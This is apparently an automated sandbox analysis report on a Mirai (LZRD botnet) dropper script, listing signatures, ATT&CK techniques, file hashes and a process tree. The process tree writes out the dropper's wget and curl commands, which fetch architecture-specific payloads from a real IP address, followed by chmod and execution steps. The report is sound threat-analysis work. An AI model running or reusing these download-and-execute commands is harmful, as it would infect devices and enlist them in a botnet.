mirai | 7e6ff187d2f1740e90596f19c2bd843495849a3c38dbdae69658bca46bf92705

Analysis

max time kernel
150s
max time network
151s
platform
debian-9_mipsel
resource
debian9-mipsel-20240729-en
resource tags

arch:mipselimage:debian9-mipsel-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
26-12-2024 04:07

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General

Target

sensi.sh
Size

1KB
MD5

f610810764eec4dd2eed9f4e0e66121b
SHA1

98af7417d18cf6bf49a61104a4aebbaac59a0f39
SHA256

7e6ff187d2f1740e90596f19c2bd843495849a3c38dbdae69658bca46bf92705
SHA512

189710551b60f60dfd94fa21333c58e0d0f0e230d8ca60f33fc8f2fd9f1df2d58b56e969e0639f3ae6d4ed4e27f16fa84239628b86122f434f3baadf6af3826c

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
Contacts a large (19332) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 10 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
869	chmod
878	chmod
736	chmod
782	chmod
815	chmod
833	chmod
857	chmod
743	chmod
756	chmod
863	chmod

Executes dropped EXE 10 IoCs

ioc	pid	Process
/tmp/SSH	737	SSH
/tmp/SSH	744	SSH
/tmp/SSH	757	SSH
/tmp/SSH	784	SSH
/tmp/SSH	816	SSH
/tmp/SSH	834	SSH
/tmp/SSH	858	SSH
/tmp/SSH	864	SSH
/tmp/SSH	870	SSH
/tmp/SSH	879	SSH

Modifies Watchdog functionality 1 TTPs 2 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/misc/watchdog	SSH
File opened for modification	/dev/watchdog	SSH

Enumerates active TCP sockets 1 TTPs 1 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	SSH

Enumerates running processes
Discovers information about currently running processes on the system

UPX packed file 4 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral4/files/fstream-1.dat	upx
behavioral4/files/fstream-4.dat	upx
behavioral4/files/fstream-5.dat	upx
behavioral4/files/fstream-7.dat	upx

Reads system network configuration 1 TTPs 1 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	SSH

Reads runtime system information 59 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/678/exe	SSH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/325/fd	SSH
File opened for reading	/proc/345/fd	SSH
File opened for reading	/proc/385/fd	SSH
File opened for reading	/proc/699/fd	SSH
File opened for reading	/proc/766/fd	SSH
File opened for reading	/proc/739/exe	SSH
File opened for reading	/proc/758/fd	SSH
File opened for reading	/proc/765/fd	SSH
File opened for reading	/proc/1/fd	SSH
File opened for reading	/proc/678/fd	SSH
File opened for reading	/proc/698/fd	SSH
File opened for reading	/proc/798/exe	SSH
File opened for reading	/proc/802/exe	SSH
File opened for reading	/proc/349/fd	SSH
File opened for reading	/proc/672/exe	SSH
File opened for reading	/proc/705/exe	SSH
File opened for reading	/proc/706/exe	SSH
File opened for reading	/proc/822/exe	SSH
File opened for reading	/proc/348/fd	SSH
File opened for reading	/proc/712/fd	SSH
File opened for reading	/proc/761/fd	SSH
File opened for reading	/proc/681/exe	SSH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/172/fd	SSH
File opened for reading	/proc/759/fd	SSH
File opened for reading	/proc/763/exe	SSH
File opened for reading	/proc/682/exe	SSH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/703/exe	SSH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/449/fd	SSH
File opened for reading	/proc/681/fd	SSH
File opened for reading	/proc/706/fd	SSH
File opened for reading	/proc/671/exe	SSH
File opened for reading	/proc/380/fd	SSH
File opened for reading	/proc/671/fd	SSH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/712/exe	SSH
File opened for reading	/proc/770/exe	SSH
File opened for reading	/proc/709/fd	SSH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/827/exe	SSH
File opened for reading	/proc/379/fd	SSH
File opened for reading	/proc/763/fd	SSH
File opened for reading	/proc/449/exe	SSH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/704/exe	SSH
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/152/fd	SSH
File opened for reading	/proc/243/fd	SSH
File opened for reading	/proc/350/fd	SSH
File opened for reading	/proc/698/exe	SSH
File opened for reading	/proc/672/fd	SSH
File opened for reading	/proc/682/fd	SSH
File opened for reading	/proc/762/fd	SSH

System Network Configuration Discovery 1 TTPs 3 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
740	wget
741	curl
742	cat

Writes file to tmp directory 20 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/xd.sh4	curl
File opened for modification	/tmp/SSH	sensi.sh
File opened for modification	/tmp/xd.mips	wget
File opened for modification	/tmp/xd.mips	curl
File opened for modification	/tmp/xd.mpsl	curl
File opened for modification	/tmp/xd.arm6	wget
File opened for modification	/tmp/xd.m68k	wget
File opened for modification	/tmp/xd.x86	curl
File opened for modification	/tmp/xd.arm7	curl
File opened for modification	/tmp/xd.x86	wget
File opened for modification	/tmp/xd.arm4	curl
File opened for modification	/tmp/xd.arm5	curl
File opened for modification	/tmp/xd.ppc	wget
File opened for modification	/tmp/xd.ppc	curl
File opened for modification	/tmp/xd.mpsl	wget
File opened for modification	/tmp/xd.arm5	wget
File opened for modification	/tmp/xd.arm6	curl
File opened for modification	/tmp/xd.arm7	wget
File opened for modification	/tmp/xd.m68k	curl
File opened for modification	/tmp/xd.sh4	wget

/tmp/sensi.sh
/tmp/sensi.sh
1⤵
- Writes file to tmp directory
PID:706
- /usr/bin/wget
  wget http://107.150.62.186/d/xd.x86
  2⤵
  - Writes file to tmp directory
  PID:710
- /usr/bin/curl
  curl -O http://107.150.62.186/d/xd.x86
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:727
- /bin/cat
  cat xd.x86
  2⤵
  PID:734
- /bin/chmod
  chmod +x sensi.sh SSH systemd-private-ffccea82c9124cf1a28c0f82530b7925-systemd-timedated.service-cylXiI xd.x86
  2⤵
  - File and Directory Permissions Modification
  PID:736
- /tmp/SSH
  ./SSH
  2⤵
  - Executes dropped EXE
  PID:737
- /usr/bin/wget
  wget http://107.150.62.186/d/xd.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:740
- /usr/bin/curl
  curl -O http://107.150.62.186/d/xd.mips
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:741
- /bin/cat
  cat xd.mips
  2⤵
  - System Network Configuration Discovery
  PID:742
- /bin/chmod
  chmod +x sensi.sh SSH systemd-private-ffccea82c9124cf1a28c0f82530b7925-systemd-timedated.service-cylXiI xd.mips xd.x86
  2⤵
  - File and Directory Permissions Modification
  PID:743
- /tmp/SSH
  ./SSH
  2⤵
  - Executes dropped EXE
  PID:744
- /usr/bin/wget
  wget http://107.150.62.186/d/xd.mpsl
  2⤵
  - Writes file to tmp directory
  PID:746
- /usr/bin/curl
  curl -O http://107.150.62.186/d/xd.mpsl
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:747
- /bin/cat
  cat xd.mpsl
  2⤵
  PID:754
- /bin/chmod
  chmod +x sensi.sh SSH systemd-private-ffccea82c9124cf1a28c0f82530b7925-systemd-timedated.service-cylXiI xd.mips xd.mpsl xd.x86
  2⤵
  - File and Directory Permissions Modification
  PID:756
- /tmp/SSH
  ./SSH
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Reads system network configuration
  - Reads runtime system information
  PID:757
- /usr/bin/wget
  wget http://107.150.62.186/d/xd.arm4
  2⤵
  PID:762
- /usr/bin/curl
  curl -O http://107.150.62.186/d/xd.arm4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:775
- /bin/cat
  cat xd.arm4
  2⤵
  PID:780
- /bin/chmod
  chmod +x sensi.sh SSH systemd-private-ffccea82c9124cf1a28c0f82530b7925-systemd-timedated.service-cylXiI xd.arm4 xd.mips xd.mpsl xd.x86
  2⤵
  - File and Directory Permissions Modification
  PID:782
- /tmp/SSH
  ./SSH
  2⤵
  - Executes dropped EXE
  PID:784
- /usr/bin/wget
  wget http://107.150.62.186/d/xd.arm5
  2⤵
  - Writes file to tmp directory
  PID:785
- /usr/bin/curl
  curl -O http://107.150.62.186/d/xd.arm5
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:810
- /bin/cat
  cat xd.arm5
  2⤵
  PID:814
- /bin/chmod
  chmod +x sensi.sh SSH systemd-private-ffccea82c9124cf1a28c0f82530b7925-systemd-timedated.service-cylXiI xd.arm4 xd.arm5 xd.mips xd.mpsl xd.x86
  2⤵
  - File and Directory Permissions Modification
  PID:815
- /tmp/SSH
  ./SSH
  2⤵
  - Executes dropped EXE
  PID:816
- /usr/bin/wget
  wget http://107.150.62.186/d/xd.arm6
  2⤵
  - Writes file to tmp directory
  PID:818
- /usr/bin/curl
  curl -O http://107.150.62.186/d/xd.arm6
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:822
- /bin/cat
  cat xd.arm6
  2⤵
  PID:831
- /bin/chmod
  chmod +x sensi.sh SSH systemd-private-ffccea82c9124cf1a28c0f82530b7925-systemd-timedated.service-cylXiI xd.arm4 xd.arm5 xd.arm6 xd.mips xd.mpsl xd.x86
  2⤵
  - File and Directory Permissions Modification
  PID:833
- /tmp/SSH
  ./SSH
  2⤵
  - Executes dropped EXE
  PID:834
- /usr/bin/wget
  wget http://107.150.62.186/d/xd.arm7
  2⤵
  - Writes file to tmp directory
  PID:837
- /usr/bin/curl
  curl -O http://107.150.62.186/d/xd.arm7
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:855
- /bin/cat
  cat xd.arm7
  2⤵
  PID:856
- /bin/chmod
  chmod +x sensi.sh SSH systemd-private-ffccea82c9124cf1a28c0f82530b7925-systemd-timedated.service-cylXiI xd.arm4 xd.arm5 xd.arm6 xd.arm7 xd.mips xd.mpsl xd.x86
  2⤵
  - File and Directory Permissions Modification
  PID:857
- /tmp/SSH
  ./SSH
  2⤵
  - Executes dropped EXE
  PID:858
- /usr/bin/wget
  wget http://107.150.62.186/d/xd.ppc
  2⤵
  - Writes file to tmp directory
  PID:860
- /usr/bin/curl
  curl -O http://107.150.62.186/d/xd.ppc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:861
- /bin/cat
  cat xd.ppc
  2⤵
  PID:862
- /bin/chmod
  chmod +x sensi.sh SSH systemd-private-ffccea82c9124cf1a28c0f82530b7925-systemd-timedated.service-cylXiI xd.arm4 xd.arm5 xd.arm6 xd.arm7 xd.mips xd.mpsl xd.ppc xd.x86
  2⤵
  - File and Directory Permissions Modification
  PID:863
- /tmp/SSH
  ./SSH
  2⤵
  - Executes dropped EXE
  PID:864
- /usr/bin/wget
  wget http://107.150.62.186/d/xd.m68k
  2⤵
  - Writes file to tmp directory
  PID:866
- /usr/bin/curl
  curl -O http://107.150.62.186/d/xd.m68k
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:867
- /bin/cat
  cat xd.m68k
  2⤵
  PID:868
- /bin/chmod
  chmod +x sensi.sh SSH systemd-private-ffccea82c9124cf1a28c0f82530b7925-systemd-timedated.service-cylXiI xd.arm4 xd.arm5 xd.arm6 xd.arm7 xd.m68k xd.mips xd.mpsl xd.ppc xd.x86
  2⤵
  - File and Directory Permissions Modification
  PID:869
- /tmp/SSH
  ./SSH
  2⤵
  - Executes dropped EXE
  PID:870
- /usr/bin/wget
  wget http://107.150.62.186/d/xd.sh4
  2⤵
  - Writes file to tmp directory
  PID:872
- /usr/bin/curl
  curl -O http://107.150.62.186/d/xd.sh4
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:876
- /bin/cat
  cat xd.sh4
  2⤵
  PID:877
- /bin/chmod
  chmod +x sensi.sh SSH xd.arm4 xd.arm5 xd.arm6 xd.arm7 xd.m68k xd.mips xd.mpsl xd.ppc xd.sh4 xd.x86
  2⤵
  - File and Directory Permissions Modification
  PID:878
- /tmp/SSH
  ./SSH
  2⤵
  - Executes dropped EXE
  PID:879

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/SSH

Filesize
30KB

MD5
624ae5fa2a8d23325322f17acb5de2f6

SHA1
396de2e2830581961b57508b57bbf1f7a54bc170

SHA256
a003fe86d3d280d11f802ee453fa1f807c7a6670197dd6ad901776072fdc3bc7

SHA512
6c15520f66d9aa32ae2c32cdf4380485cdb3b611bcec0f3402838107bb64287c2cce1421f0166d14d5d72672842f6d50553733b8002c95169fe3200c7332df27

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/tmp/SSH

Filesize
31KB

MD5
9b73eb8559c4fd0e08ff4633ad6e3ea9

SHA1
ac67015a4818aee4716952357b6ea54f128474d5

SHA256
a7a63f861864ca132089d86bd050bd692f0f2c1d204ce12f7622f74ff133521a

SHA512
5f21c3d51ff22e45ead4d91c9bd093e542742da3e0e332f2c175e39be9eb22ab6c1cd16d58874db07753b83298010a584146aad1dcf8b5a6fad5a94cbd4a5cba

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/tmp/SSH

Filesize
276B

MD5
e492bd856914e9b5486bcc9f1e604d18

SHA1
358973c3d750673d8fec3d74a0cbb076338e94e2

SHA256
89993cd7d7ee04c02a9964e28d234a7163813f5a550c9506d35b7d46e2814b36

SHA512
d59be5ac7718bde390810e93719b35a3fe9f3a10c05bb6f4249942dfbf0f1f23c876bd69e0eb6d651bd11e66197bcb8ecd3cc11ef7ef5b8a159a7535e02aa7fb

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/tmp/SSH

Filesize
25KB

MD5
f045c51cd05035f4b7f8ba72a061bb0d

SHA1
7fd3f73455e32d92a283a60793c4cff93044b708

SHA256
3df735a6d46483ccb2cb3c1b8e0630baa3221dd038da1047267d08c6f7d00b37

SHA512
1a46139ddccc3b7593be595637b52035f0f12126d545badf919be84a78d3d2e738779720ea4489d1209c7f1e971bf2bd3b621347a06091b5df44e14b7c03fdde

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/tmp/SSH

Filesize
62KB

MD5
ce55e81eb7781f1832867e1577673555

SHA1
e12be36c77337cac6221de3e5acc1353d5185c65

SHA256
9a4691b7a04f76f55cf4b698d4ca3c5a025b0067eb49116e9e17a3b17d666474

SHA512
724d78185ba73748611f3702458c2c2c4f8efb8b8c96647a5748a6c257093c3c967b99600259de8785775d42a37920390091c06089f4536a38905086d93f5b5f

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/tmp/xd.x86

Filesize
29KB

MD5
9c04ed95992e4b7589d2cfaf2b6b6afb

SHA1
f512b4b75401213c5734fc1c724e00b9dd7fdafb

SHA256
ca0dad92996c7ba5fbb49e82fc119e6b7a4ef91e060f8aff17b92e93f8bf5185

SHA512
f093f6c21d840575cefb2bf3d1b4f4a3f9f3729c4c74c17846aa194223cbe0dd7eb182c55ae15f31d496671e0d6ea1a6f0dd3d2b10e1f32f396f0f573d28db92

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Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads